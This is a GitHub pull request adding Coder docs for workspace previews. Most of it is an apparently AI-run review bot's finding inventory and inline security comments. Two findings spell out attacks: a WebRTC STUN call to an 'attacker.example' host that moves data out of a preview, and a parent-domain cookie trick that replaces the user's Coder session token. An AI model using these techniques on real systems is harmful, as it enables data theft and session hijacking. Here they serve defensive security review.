Skip to content

docs: document open_preview previews - #32442

Draft
DanielleMaywood wants to merge 1 commit into
open-preview/uifrom
open-preview/docs
Draft

DanielleMaywood wants to merge 1 commit into
open-preview/uifrom
open-preview/docs

Conversation

@DanielleMaywood

@DanielleMaywood DanielleMaywood commented Nov 19, 2026 •

Copy link
Copy Markdown
Collaborator

Documents workspace previews on a new docs/coder-agents/platform-controls/open-preview.md page, with a pointer from the Coder Agents overview: the open-preview experiment and how to enable it, port and file previews, that previews open on a click in the chat's right panel and are owner-only, that opening a preview address directly shows an error page, the strict policy's restrictions (no CDN assets or external APIs, no service workers), the parent-domain cookie caveat, and the secrets warning.

Stack (review bottom-up). Replaces the closed #31282 stack. Security review: coder/security-assessments#437.

  1. feat: serve published HTML previews from the workspace agent #32438 Agent file previews
  2. feat: serve agent previews on strict preview hosts #32439 Strict preview hosting and experiment
  3. feat: sign previews in from the dashboard with a host-bound token #32522 Preview sign-in
  4. feat(coderd): add the open_preview chat tool #32440 open_preview chat tool
  5. feat(site/src): open open_preview results in the right panel #32441 Agents UI
  6. docs: document open_preview previews #32442 Docs, this PR

🤖 Generated with Claude Code

@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review

coder-agents-review Bot commented Nov 25, 2026 •

Copy link
Copy Markdown
Contributor

Chat: Review posted | View chat
Requested: 2026-11-26 13:57 UTC by @DanielleMaywood
Spend: $44.01 / $100.00

Review history
  • R1 (2026-11-25): 9 reviewers, 3 Nit, 2 P2, 6 P3, 4 P4, COMMENT. Review
  • R2 (2026-11-25), 3 Nit, 2 P2, 6 P3, 4 P4, COMMENT. Review
  • R3 (2026-11-25), 3 Nit, 2 P2, 6 P3, 4 P4, COMMENT. Review
  • R4 (2026-11-25): 6 reviewers, 5 Nit, 2 P2, 10 P3, 5 P4, COMMENT. Review
  • R5 (2026-11-26): 6 reviewers, 6 Nit, 2 P2, 10 P3, 6 P4, COMMENT. Review
  • R6 (2026-11-26): 4 reviewers, 7 Nit, 2 P2, 10 P3, 6 P4, COMMENT. Review
  • R7 (2026-11-26): 4 reviewers, 7 Nit, 2 P2, 10 P3, 6 P4, APPROVE. Review
  • R8 (2026-11-26): 4 reviewers, 7 Nit, 2 P2, 10 P3, 6 P4, APPROVE. Review
  • R9 (2026-11-26): 4 reviewers, 7 Nit, 2 P2, 10 P3, 6 P4, APPROVE. Review

deep-review v0.13.1 | Round 9 | b1c1ead..7e28f55

Last posted: Round 9, 25 findings (2 P2, 10 P3, 6 P4, 7 Nit), APPROVE. Review

Finding inventory

Findings

# Sev Status Location Summary Round Reviewer Posted
CRF-1 Nit Author contested; panel closed R5 (1/1 accept) docs/coder-agents/index.md:304 Overview root-only tool list omits open_preview; sentence placed after plan-mode paragraph R1 Netero Yes
CRF-2 OOS Out of scope (body) docs/coder-agents/architecture.md:142 Architecture page tool tables omit open_preview (file not changed by the diff) R1 Netero No
CRF-3 Note Note (body) CI lint CI lint job failed; cause unverified (log unreadable, HTTP 401); docs lint targets pass locally R1 Netero No
CRF-4 P2 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:58 "Sends requests only to the preview's own address" is false for WebRTC and DNS prefetch R1 Pariston P2, Kurapika P3, Knov P3 Yes
CRF-5 P2 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:68 Parent-domain cookie paragraph omits coder_session_token override and the CODER_HOST_PREFIX_COOKIE mitigation R1 Kurapika Yes
CRF-6 P3 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:17 Each selectable workspace proxy needs its own wildcard hostname; page states only HTTPS R1 Razor P3, Pariston P3, Mafuuu P3, Pen Botter P3, Kurapika P4 Yes
CRF-7 P3 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:43 File previews end when the workspace agent restarts; page does not say so R1 Pen Botter P3, Mafuuu P3, Leorio P3, Razor P4, Pariston P4, Mafu-san P4 Yes
CRF-8 P3 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:18 Plain-HTTP failure not tied to the "Previews open only inside a Coder chat" error users see R1 Pen Botter P3, Leorio P3, Mafuuu P4 Yes
CRF-9 P3 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:23 CODER_EXPERIMENTS example replaces the experiment list instead of appending R1 Gon P3, Pen Botter P4 Yes
CRF-10 Nit Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:23 Enable step omits the --experiments flag form that sibling pages and index.md use R1 Mafu-san, Gon Yes
CRF-11 P4 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:15 Page does not say workspace agents and workspace proxies must run the new release R1 Knov P4, Leorio P4, Pen Botter P4, Mafu-san P4, Razor P2 (premise disproved) Yes
CRF-12 P4 Author contested; panel closed R4 (1/1 accept) docs/coder-agents/platform-controls/open-preview.md:42 Port preview restriction names only the template setting; dev container displayApps also sets it R1 Razor Yes
CRF-13 P3 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:51 "users with the Owner role, can't open them" can read as a ban on Owner-role users' own workspaces R1 Pen Botter Yes
CRF-14 P3 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:71 Secrets warning gives the reader no action (preview a dedicated output directory) R1 Leorio Yes
CRF-15 P4 Author fixed (22fc5b8) docs/coder-agents/platform-controls/open-preview.md:43 "Directory preview" used as a kind but the list defines only port and file previews R1 Gon Yes
CRF-16 Nit Author contested; panel closed R5 (1/1 accept) docs/coder-agents/index.md:276 Tool table row is the only one with a "Refer to" link and duplicates the line 304 link R1 Gon Yes
CRF-17 Nit Author contested; panel closed R4 (1/1 accept) docs/coder-agents/platform-controls/open-preview.md:2 Filename open-preview.md does not match the "Workspace previews" title, unlike siblings R1 Gon Yes
CRF-18 P4 Dropped by orchestrator (PR description topic list; no file placement, page claims verified by panel) PR description PR description restates the page topics instead of claim sources and rationale R1 Leorio No
CRF-19 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:47 Owner-only, direct-open, service worker, Domain cookie claims match code R1 Kurapika No
CRF-20 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:17 Remaining factual claims match the code R1 Pariston No
CRF-21 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:13 Behavioral claims match stack code; HTTP claim rests on a code comment (localhost exception) R1 Mafu-san No
CRF-22 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:71 Secrets warning matches the agent file server R1 Knov No
CRF-23 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:53 Preview security list matches previewhost.Strict R1 Leorio No
CRF-24 OOS Out of scope (body) coderd/workspaceapps/previewhost/previewhost.go:59 Strict preview CSP cannot limit WebRTC or DNS prefetch R1 Kurapika, Pariston, Knov No
CRF-25 OOS Out of scope (body) codersdk/deployment.go:1155 coder_session_token is not host-prefixed unless CODER_HOST_PREFIX_COOKIE is set R1 Kurapika No
CRF-26 OOS Out of scope (body) coderd/workspaceapps/preview.go:50 Plain-HTTP deployments get an error that names a user action, not the missing HTTPS R1 Pen Botter, Mafuuu, Leorio No
CRF-27 OOS Out of scope (body) agent/agentpreview/preview.go:94 Expired file preview returns bare 404; sign-in does not check the ID is published R1 Pen Botter, Leorio, Mafuuu No
CRF-28 OOS Out of scope (body) coderd/previews.go:158 previewHostingFor sends preview sign-in to proxies without a version check R1 Knov No
CRF-29 OOS Dropped by orchestrator (premise disproved: pre-stack appURL regex rejects 5-part preview labels, so an old proxy errors instead of serving) coderd/workspaceapps/db.go:157 Token issue to proxies that do not apply the preview policy R1 Razor No
CRF-30 Note Note (body) CI R4: 19 CI jobs fail including changes; logs unreadable (HTTP 401); docs checks pass locally R4 Netero No
CRF-31 P3 Author fixed (fd684d6) docs/coder-agents/platform-controls/open-preview.md:98 "Coder also refuses requests ... to the user's other workspace apps" holds only within one server's wildcard; proxy previews rely on CSP alone R4 Razor Yes
CRF-32 Nit Author contested; panel closed R5 (1/1 accept) docs/coder-agents/platform-controls/open-preview.md:56 "the primary deployment" is a second term for the control plane and not the picker's region name R4 Gon Yes
CRF-33 P3 Author contested; panel closed R5 (1/1 accept) docs/coder-agents/platform-controls/open-preview.md:21 --host-prefix-cookie requirement omits that enabling it signs users out once and needs restarts of pre-2.31 workspaces R4 Pen Botter Yes
CRF-34 P3 Author contested; panel closed R5 (1/1 accept) docs/coder-agents/platform-controls/open-preview.md:78 Page omits the 63-character DNS label limit (agent+workspace+owner at most 40 chars for file previews) R4 Pen Botter Yes
CRF-35 P3 Author fixed (fd684d6) docs/coder-agents/platform-controls/open-preview.md:16 Primary wildcard must be same-site as the access URL, as stated for proxies, or sign-in cookie is not sent R4 Kurapika Yes
CRF-36 P4 Author contested; panel closed R5 (1/1 accept) docs/coder-agents/platform-controls/open-preview.md:108 "when the access URL is under the same domain" presents as optional a condition every working deployment meets R4 Kurapika Yes
CRF-37 P4 Author contested; panel closed R5 (1/1 accept) docs/coder-agents/platform-controls/open-preview.md:50 Page omits that the dashboard auto-selects the lowest-latency proxy for users who never chose one R4 Leorio Yes
CRF-38 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:21 CRF-5 fix and other security claims match code R4 Kurapika No
CRF-39 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:17 Quoted error strings match code R4 Leorio No
CRF-40 OOS Out of scope (body) coderd/workspaceapps/preview.go:189 isFromOtherPreview cannot recognize previews hosted by another server R4 Razor No
CRF-41 OOS Out of scope (body) coderd/x/chatd/chattool/openpreview.go:179 Label length check ignores the wildcard prefix/suffix; tool succeeds then tab shows "Invalid preview address." R4 Pen Botter No
CRF-42 OOS Out of scope (body) coderd/coderd.go:748 Primary preview hosting has no same-site check; cross-site primary wildcard reports previews available then fails sign-in R4 Kurapika No
CRF-43 P4 Author fixed (4ad4e17) docs/coder-agents/platform-controls/open-preview.md:100 CRF-31 fix over-narrows: same-server path-based apps are also refused, but are not on a wildcard access URL R5 Leorio Yes
CRF-44 Nit Author contested; panel closed R6 (1/1 accept) docs/coder-agents/platform-controls/open-preview.md:18 Same-site rule names "the access URL" on line 18 and "the dashboard" on line 53 and in the quoted error R5 Gon Yes
CRF-45 OOS Out of scope (body) codersdk/deployment.go:3700 --host-prefix-cookie description omits that enabling it signs every browser user out once R5 Pen Botter No
CRF-46 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:18 CRF-35 fix and proxy message match code R5 Kurapika No
CRF-47 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:21 Localhost example passes the same-site check where localhost:3000 would not R5 Leorio No
CRF-48 Nit Author fixed (abf6571) docs/coder-agents/platform-controls/open-preview.md:100 "the same server" is a third name for the control plane or workspace proxy, with no antecedent R6 Gon Yes
CRF-49 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:100 CRF-48 fix matches isFromOtherPreview scope R7 Netero No
CRF-50 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:100 CRF-48 fix matches the refusal condition in code R7 Knov No
CRF-51 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:56 previewHostingFor caller-authz change leaves line 56 accurate for dashboard sessions R9 Netero No
CRF-52 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:56 previewHostingFor caller-authz change leaves line 56 accurate for dashboard sessions R9 Razor No
CRF-53 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:56 previewHostingFor caller-authz change leaves line 56 accurate for dashboard sessions R9 Mafuuu No
CRF-54 Note Dropped by orchestrator (confirmation, no change requested) docs/coder-agents/platform-controls/open-preview.md:56 previewHostingFor caller-authz change leaves line 56 accurate for dashboard sessions R9 Kite No

Contested and acknowledged

CRF-12 (P4, docs/coder-agents/platform-controls/open-preview.md:42) - Port preview restriction omits dev container displayApps

  • Finding: The port preview bullet names only the template's display_apps block as the way to turn off port_forwarding_helper; Razor proposed wording it as "the workspace agent has the port forwarding helper turned off" and linking the dev container customizations.coder.displayApps setting too.
  • Author defense (R3): Chats bind only to root agents (agentselect.FindChatAgent skips agents with a parent), so a dev container sub-agent's displayApps never applies to the agent a preview targets.
  • Panel closure (R4, 1/1): Razor, the agent that raised it (reused via message), verified agentselect.FindChatAgent (coderd/x/chatd/agentselect/agentselect.go:47) skips agents with a ParentID and the chat binding at turn_environment.go:1547 uses it, so the port check at chattool/openpreview.go:191 reads DisplayApps only from a root agent; the template-only wording is accurate.

CRF-16 (Nit, docs/coder-agents/index.md:276) - Tool table row "Refer to" link duplicates line 304

  • Finding: The open_preview row is the only tool table row ending with a "Refer to" link, duplicating the line 304 link, and lacks a trailing period; Gon proposed dropping the link and adding the period.
  • Author defense (R4): open_preview is the only tool in the table that needs an administrator to enable it first, so its row links straight to the setup page for readers who scan the table; the line 304 sentence serves readers of the prose. (Earlier R3 reply "Declined: style nit." was classified silent.) The trailing period is not addressed.
  • Panel re-raise (R4): Gon, the agent that raised it (reused via message), found the defense's premise false: the spawn_agent (type=computer_use) row at index.md:282 also needs an administrator to enable virtual desktop and has no link; its setup link is only in the line 295 sentence. The period is still missing.

CRF-17 (Nit, docs/coder-agents/platform-controls/open-preview.md:2) - Filename does not match title

  • Finding: The file is open-preview.md while titles and links say "Workspace previews"; Gon proposed renaming to workspace-previews.md, or keeping the name if it is meant to match the experiment.
  • Author defense (R3): The filename matches the open-preview experiment name.
  • Panel closure (R4, 1/1): Gon, the agent that raised it (reused via message), accepted: the original finding allowed this reason, and siblings already diverge from titles (agent-isolation.md is "Network isolation", chat-auto-archive.md is "Conversation auto-archive").

CRF-1 (Nit, docs/coder-agents/index.md:304)

  • Finding: The root-only list fix landed; the open_preview enablement sentence at line 304 still follows the plan-mode paragraph (lines 299 to 302) instead of sitting next to the computer_use enablement sentence at line 295, so a reader can take it as a plan-mode condition. Proposed: move it after line 296.
  • Author defense (R5): Declined: the sentence is a separate paragraph that states its own condition (an administrator enabling workspace previews) and says nothing about plan mode, so a reader cannot take it as a plan-mode rule.
  • Panel closure (R5, 1/1): Netero, a new agent: the R4 Netero agent was messaged and did not write its output file. It accepted the defense: the sentence states its own condition, does not mention plan mode, and open_preview is unavailable in plan mode anyway, so no reading leads to a wrong action.

CRF-16 (Nit, docs/coder-agents/index.md:276)

  • Finding: The open_preview tool table row is the only row ending with a "Refer to" link (duplicating the line 304 link) and lacks a trailing period. R4 re-raise: the defense's premise (only admin-gated tool) was false because the computer_use row at line 282 is also admin-gated and has no link.
  • Author defense (R5): Declined: you are right that spawn_agent with type=computer_use also needs an administrator, so our premise was wrong; we are still keeping the link because it points someone scanning the table at a required setup step, and no style rule asks every row to match. (The reply does not address the missing period.)
  • Panel closure (R5, 1/1): Gon, the agent that raised it (reused via message), accepted: one of two admin-gated rows links to its setup page, which sends no reader to a wrong page; the missing period is punctuation only.

CRF-32 (Nit, docs/coder-agents/platform-controls/open-preview.md:56)

  • Finding: "or the primary deployment" is a second name for the control plane (which the page calls "the control plane" elsewhere), and neither matches the region name the proxy picker shows (Default by default). Proposed: "or the control plane's own region (named Default unless an administrator renamed it)".
  • Author defense (R5): Declined: the proxy picker and the workspace proxy docs call this the primary region, so a reader can find it from this wording, and "primary deployment" matches the tool message quoted on line 17.
  • Panel closure (R5, 1/1): Gon, the agent that raised it (reused), accepted: the proxy picker help text says "If no region is selected, the primary region will be used." (ProxyMenu.tsx:130-131) and the tool message on line 17 says "primary deployment".

CRF-33 (P3, docs/coder-agents/platform-controls/open-preview.md:21)

  • Finding: The --host-prefix-cookie requirement does not say that turning it on signs every user out once (the middleware drops unprefixed coder_session_token) and that workspaces built before 2.31 need a restart (flag description, codersdk/deployment.go:3700). Proposed: one sentence warning to schedule the change.
  • Author defense (R5): Declined: you are right that turning on --host-prefix-cookie signs every user out once and the page does not say so, but that is the flag's own rollout behavior, the linked flag reference states the workspace restart requirement, and this page documents what previews need rather than restating that flag's effects.
  • Panel closure (R5, 1/1): Pen Botter, the agent that raised it (reused), accepted: the cost is one sign-in per user on a restart the administrator already does, and the workspace restart is in the linked flag reference; the missing sign-out warning belongs in the flag description (CRF-45, out of scope).

CRF-34 (P3, docs/coder-agents/platform-controls/open-preview.md:78)

  • Finding: The page does not say the preview hostname must fit one 63-character DNS label; the file preview label preview--<8>--<agent>--<workspace>--<owner> leaves 40 characters for the three names, so names that work for port apps can fail for file previews. Proposed: state the limit.
  • Author defense (R5): Declined: the limit is the general DNS label limit that already applies to every subdomain app, and open_preview reports it with a message naming the fix (a shorter workspace or agent name), so the page does not need to restate it.
  • Panel closure (R5, 1/1): Pen Botter, the agent that raised it (reused), accepted: the failure names its fix (openpreview.go:180). Noted the defense is not exact: a file preview label is 13 characters longer than a 4-digit port label, so the limit is tighter for previews.

CRF-36 (P4, docs/coder-agents/platform-controls/open-preview.md:108)

  • Finding: "and to Coder itself when the access URL is under the same domain" presents as optional a condition every working preview deployment meets (previews require same-site), and --host-prefix-cookie protects only coder_session_token. Proposed: drop the condition.
  • Author defense (R5): Declined: the clause states the actual browser rule for when a parent-domain cookie reaches Coder, and the next line already limits --host-prefix-cookie to the session cookie, so dropping the condition would not change what an administrator does.
  • Panel closure (R5, 1/1): Kurapika, the agent that raised it (reused), accepted: the clause is accurate, and no layout or setting other than --host-prefix-cookie (already required) changes the exposure.

CRF-37 (P4, docs/coder-agents/platform-controls/open-preview.md:50)

  • Finding: "the workspace proxy that the user selects in the dashboard" omits that the dashboard auto-selects the lowest-latency proxy for users who never chose one (ProxyContext.tsx:148-165), so users near a proxy without a wildcard get This region does not serve previews. without touching the picker. Proposed: add a sentence about the automatic selection.
  • Author defense (R5): Declined: the automatic choice is saved as the user's selected proxy and shows in the picker, and the page already requires a wildcard access URL on every proxy that serves previews, so an administrator following it is not misled.
  • Panel closure (R5, 1/1): Leorio, the agent that raised it (reused), accepted: ProxyContext.tsx:163-164 saves the automatic choice as the selected proxy, so the picker shows the proxy the error refers to, and line 58 tells the user to select another.

CRF-44 (Nit, docs/coder-agents/platform-controls/open-preview.md:18)

  • Finding: Line 18 states the same-site rule against "the access URL", line 53 and the quoted error against "the dashboard"; Gon proposed one term in both places.
  • Author defense (R6): Line 18 defines the rule against the access URL with an example, line 19 quotes the server message verbatim, and the dashboard is served from that access URL, so both describe one check; the quoted text stays exact.
  • Panel closure (R6, 1/1): Gon, the agent that raised it (reused via message), accepted: line 19 must quote the server message verbatim, and the examples at lines 18 and 54 make "dashboard" map to the access URL unambiguously.

Round log

Round 1

Full panel (round 1). Netero first pass: 2 P4, 1 Note; no P0, panel proceeded. Law not run (effective additions 82). Panel: Pen Botter, Razor (documentation triggers), Kurapika (security claims), Pariston, Mafuuu (core), Gon, Leorio (floor), Mafu-san (agent-authored), Knov (wildcard). Cross-check: Razor P2 on outdated proxies serving previews without the policy was disproved by running the pre-stack appURL regex (ab38ca7) against preview--8080--agent--ws--user and preview--0123abcd--agent--ws--user: no match, so an old proxy fails to parse and errors; merged into CRF-11 at P4 per Knov. CRF-2 moved out of scope (architecture.md not changed by the diff). Result: 2 P2, 6 P3, 4 P4, 3 Nit, 1 Note; 7 out of scope; 7 dropped. Reviewed against de09426..a68678e.

Round 2 update

BLOCKED. Churn guard: 12 of 15 open findings addressed in 22fc5b8 (amended single commit); CRF-12 (P4), CRF-16 (Nit), CRF-17 (Nit) silent, with no code change or thread reply. No panel, no Netero. Reviewed against 16f0f81..22fc5b8.

Round 3 update

BLOCKED. No new commits (head still 22fc5b8). Churn guard: CRF-12 contested (reply: chats bind only to root agents, agentselect.FindChatAgent skips agents with a parent), CRF-17 contested (reply: filename matches the open-preview experiment name), CRF-16 silent (reply "Declined: style nit." is a bare severity claim with no reasoning). No panel, no Netero. Reviewed against 16f0f81..22fc5b8.

Round 4

PROCEED (churn guard: CRF-12, CRF-16, CRF-17 contested). Fix round: no files added or renamed, title and goal unchanged, effective additions +42 since R1. Netero (post-panel, advisory): CRF-1 re-raised as Nit (placement), CRF-30 CI note. Panel: Razor and Gon (dispute check-in, previous agents reused via message_agent), Pen Botter (docs), Kurapika (security text rewrite), Leorio (new quoted error messages), Zoro (wildcard, no findings). Dispute results: CRF-12 closed 1/1, CRF-17 closed 1/1, CRF-16 re-raised. Verified fixed by panel: CRF-5, CRF-6, CRF-7, CRF-8, CRF-9, CRF-10, CRF-11, CRF-14, CRF-15. New: 4 P3, 2 P4, 1 Nit; 3 out of scope; 2 notes dropped. Orchestrator checked cited code for CRF-16, CRF-31, CRF-33, CRF-34, CRF-35, CRF-37. Reviewed against 16f0f81..22fc5b8.

Round 5

PROCEED (churn guard: CRF-31 and CRF-35 addressed in fd684d6; CRF-1, CRF-16, CRF-32, CRF-33, CRF-34, CRF-36, CRF-37 contested). Fix round: only open-preview.md changed (+5 -3). Netero: the R4 agent was messaged and wrote no output, so a new agent ran; no new findings, CRF-1 accepted. Panel: Gon, Pen Botter, Kurapika, Leorio (dispute check-in, previous agents reused), Razor (docs, verifies CRF-31; new agent, no findings), Chopper (wildcard, no findings). All 7 contested findings closed 1/1. CRF-31 and CRF-35 verified fixed. New: 1 P4, 1 Nit; 1 out of scope; 2 notes dropped. Orchestrator checked proxy.go:374 for CRF-43. Reviewed against 4ac23c2..fd684d6.

Round 6

PROCEED (churn guard: CRF-43 addressed in 4ad4e17; CRF-44 contested). Fix round: one line changed (open-preview.md:100). Netero (new agent): no findings, CRF-43 verified. Panel: Gon (dispute check-in, reused), Leorio (raised CRF-43; new agent), Razor (docs; new agent), Zoro (wildcard). CRF-44 closed 1/1. CRF-43 verified by Leorio, Razor, Netero. New: 1 Nit (CRF-48). Reviewed against 79c6491..4ad4e17.

Round 7

PROCEED (churn guard: CRF-48 addressed in abf6571). Fix round: one line changed (open-preview.md:100). Netero (new agent): no findings. Panel: Gon (raised CRF-48), Pen Botter, Razor (docs), Knov (wildcard); all new agents, no findings. CRF-48 verified by Razor, Netero, Knov. No open in-scope findings. Reviewed against 9db4ea5..abf6571.

Round 8

PROCEED (churn guard: no open findings). Rebase only: PR docs diff empty since abf6571; lower stack changed comments, tests, and ARCHITECTURE.md between bases 9db4ea5 and 71bab52. Fix round with no changed PR files: Netero (new agent), panel Razor, Mafuuu, Pariston (minimum 3 from core and pool), Kite (wildcard). No findings; all reviewers re-verified quoted strings against the new base. Reviewed against 71bab52..65898b5.

Round 9

PROCEED (churn guard: no open findings). Rebase only: PR docs diff empty since 65898b5; lower stack changed previewHostingFor to read the proxy with caller authorization, plus tests and ARCHITECTURE.md, between bases 71bab52 and b1c1ead. Netero (new agent), panel Razor, Mafuuu, Kurapika (authorization change), Kite (wildcard). No findings; four confirmation notes that line 56 stays accurate (members hold workspace_proxy:read; Razor ran go test ./coderd/ -run 'TestPreviewRegions|TestPreviewSignInScopedToken', ok). Reviewed against b1c1ead..7e28f55.

About deep-review

CRF = Coder Review Finding (P0-P4, Nit, Note)

Reviewer Focus
Bisky tests
Chopper ops/errors
Churn-guard change verification
Ging language modernization
Gon naming
Hisoka edge cases
Killua perf
Kite change integrity
Knov contracts
Knuckle SQL
Komugi flake/determinism
Kurapika security
Law decomposition
Leorio docs
Luffy product
Mafu-san process
Mafuuu contracts
Melody dispatch/pairing
Meruem structural
Nami frontend
Netero mechanical checks
Pariston premise testing
Pen-botter product gaps
Razor verification
Robin duplication
Ryosuke Go arch
Takumi concurrency
Zoro shape

🤖 Managed by Coder Agents.

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR adds the Workspace previews docs page and links it from the Coder Agents overview and platform controls index. Findings: 2 P2, 6 P3, 4 P4, 3 Nit. The P2s are in Preview security: one claim there is false, and one risk is stated without its consequence or the setting that stops it.

Out of scope (needs a ticket or explicit acceptance by a human):

  • docs/coder-agents/architecture.md:142: the workspace and platform tool tables do not list open_preview, so the two tool inventories in docs/coder-agents/ disagree.
  • coderd/workspaceapps/previewhost/previewhost.go:59: the strict preview CSP has no control over WebRTC or DNS prefetch, so preview scripts can send data from the owner's browser to any host, including when the workspace has no egress.
  • codersdk/deployment.go:1155: coder_session_token gets the __Host- prefix only when CODER_HOST_PREFIX_COOKIE is set (default false), so any script on a subdomain of the access URL can set a cookie that the dashboard API reads as the session.
  • coderd/workspaceapps/preview.go:50: on a plain-HTTP deployment every framed preview request gets "Previews open only inside a Coder chat. Open this preview from its chat.", which names a user action instead of the missing HTTPS.
  • agent/agentpreview/preview.go:94: a file preview ID the agent no longer has returns Go's default 404 page not found, and postPreviewSignIn (coderd/previews.go:69-88) does not check that the ID is published, so the user gets no hint to reopen the preview.
  • coderd/previews.go:158: previewHostingFor sends a preview sign-in to any proxy with a wildcard hostname without checking its version, so a proxy that predates this stack shows an error page for every preview.

Notes:

  • The CI lint job failed and its log was not readable from the review environment. Every docs lint target (lint/markdown, lint/docs-manifest, lint/emdash, lint/typos, and others) passes on this head, so the failure probably comes from the lower stack commits.

🤖 This review was automatically generated with Coder Agents.

- The page loads scripts, styles, fonts, images, and other files only from the preview's own address.
Inline scripts, inline styles, and `data:` and `blob:` URLs still work.
The browser blocks files from a content delivery network (CDN) or another server, so bundle those files with the page.
- The page sends requests only to the preview's own address.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 [CRF-4] "The page sends requests only to the preview's own address" is false: the preview policy does not limit WebRTC or DNS prefetch. (Pariston, Kurapika, Knov)

The only network limit is the CSP from previewhost.Strict (default-src 'self' ...; frame-src 'self'; object-src 'none'; form-action 'self'; frame-ancestors ...) plus the iframe sandbox, and CSP fetch directives do not govern RTCPeerConnection ICE traffic or <link rel="dns-prefetch">, so a script can send data in a STUN hostname or username (new RTCPeerConnection({iceServers:[{urls:"stun:<data>.attacker.example"}]})). This was inferred from the policy string and not run in a browser. An administrator whose workspaces have no egress reads this line and the secrets warning and concludes a preview cannot move secrets out, but the user's browser does the sending. Narrow the line to what the CSP covers (fetch, XHR, WebSocket, form posts, and subresource loads), state that WebRTC and DNS prefetch can still reach other hosts, and say in the warning that scripts can send what they read.

🤖

Workspace proxies serve previews with the same limits.

Coder can't stop scripts in a preview from setting cookies for a parent domain of the preview's address, such as the domain of the wildcard access URL.
The browser sends those cookies to the user's other workspace apps, and to Coder itself when the access URL is under the same domain.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 [CRF-5] The page says parent-domain cookies reach Coder itself but not that a preview can replace the user's Coder session cookie, or which setting stops it. (Kurapika)

With the documented layout (access URL coder.example.com, wildcard *.coder.example.com), a preview script can set coder_session_token=<token>; Domain=coder.example.com; Path=/api; browsers send the longer-path cookie first, and httpmw.APITokenFromRequest (coderd/httpmw/apikey.go:1031) reads the first one with r.Cookie. Dashboard API calls then run as whatever account the token belongs to, or fail with 401, and logout does not remove the Domain cookie. With CODER_HOST_PREFIX_COOKIE=true, HTTPCookieConfig.Middleware drops an unprefixed coder_session_token, and browsers refuse a __Host- cookie set with Domain. State the session consequence here and tell administrators who enable previews to set CODER_HOST_PREFIX_COOKIE=true, or to use a wildcard domain that the access URL is not under.

🤖

Workspace previews require a [wildcard access URL](../../admin/networking/wildcard-access-url.md).
Without one, `open_preview` returns an error.

Previews also require HTTPS on the access URL and on every [workspace proxy](../../admin/networking/workspace-proxies.md) that serves previews.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 [CRF-6] The page lists HTTPS as the only requirement for workspace proxies, but each proxy that users can select also needs its own wildcard hostname. (Razor, Pariston, Mafuuu, Pen Botter, Kurapika)

PreviewFrame signs in with region_id: proxy.proxy?.id and does not fall back to the primary, and previewHostingFor (coderd/previews.go) returns "This region does not serve previews." for a proxy with an empty WildcardHostname. The tool still succeeds because it checks only the primary's wildcard, so users on that region see an Open preview button and then an error. State that previews go through the region selected in the dashboard and that each workspace proxy users can select needs a wildcard hostname.

🤖


- A port preview shows a plain HTTP server that already listens on a workspace port.
If the template sets `port_forwarding_helper = false` in the `display_apps` block of its `coder_agent` resource, Coder refuses port previews.
- A file preview shows an `.html` file, or a directory that contains `index.html`.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 [CRF-7] The page does not say that file previews end when the workspace agent restarts. (Pen Botter, Mafuuu, Leorio, Razor, Pariston, Mafu-san)

The agent keeps published previews only in the in-memory api.previews map (agent/agentpreview/preview.go), and handleServe answers an unknown ID with http.NotFound, so an Open preview button or restored tab in an older chat shows 404 page not found. The tool description already tells the model this ("last until the workspace agent restarts"). Add one sentence: a file preview lasts until the workspace agent restarts, and asking the agent to open the same path again restores it.

🤖

Without one, `open_preview` returns an error.

Previews also require HTTPS on the access URL and on every [workspace proxy](../../admin/networking/workspace-proxies.md) that serves previews.
Over plain HTTP, previews don't load.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 [CRF-8] "Over plain HTTP, previews don't load" does not say what the user sees, and what the user sees names a different cause. (Pen Botter, Leorio, Mafuuu)

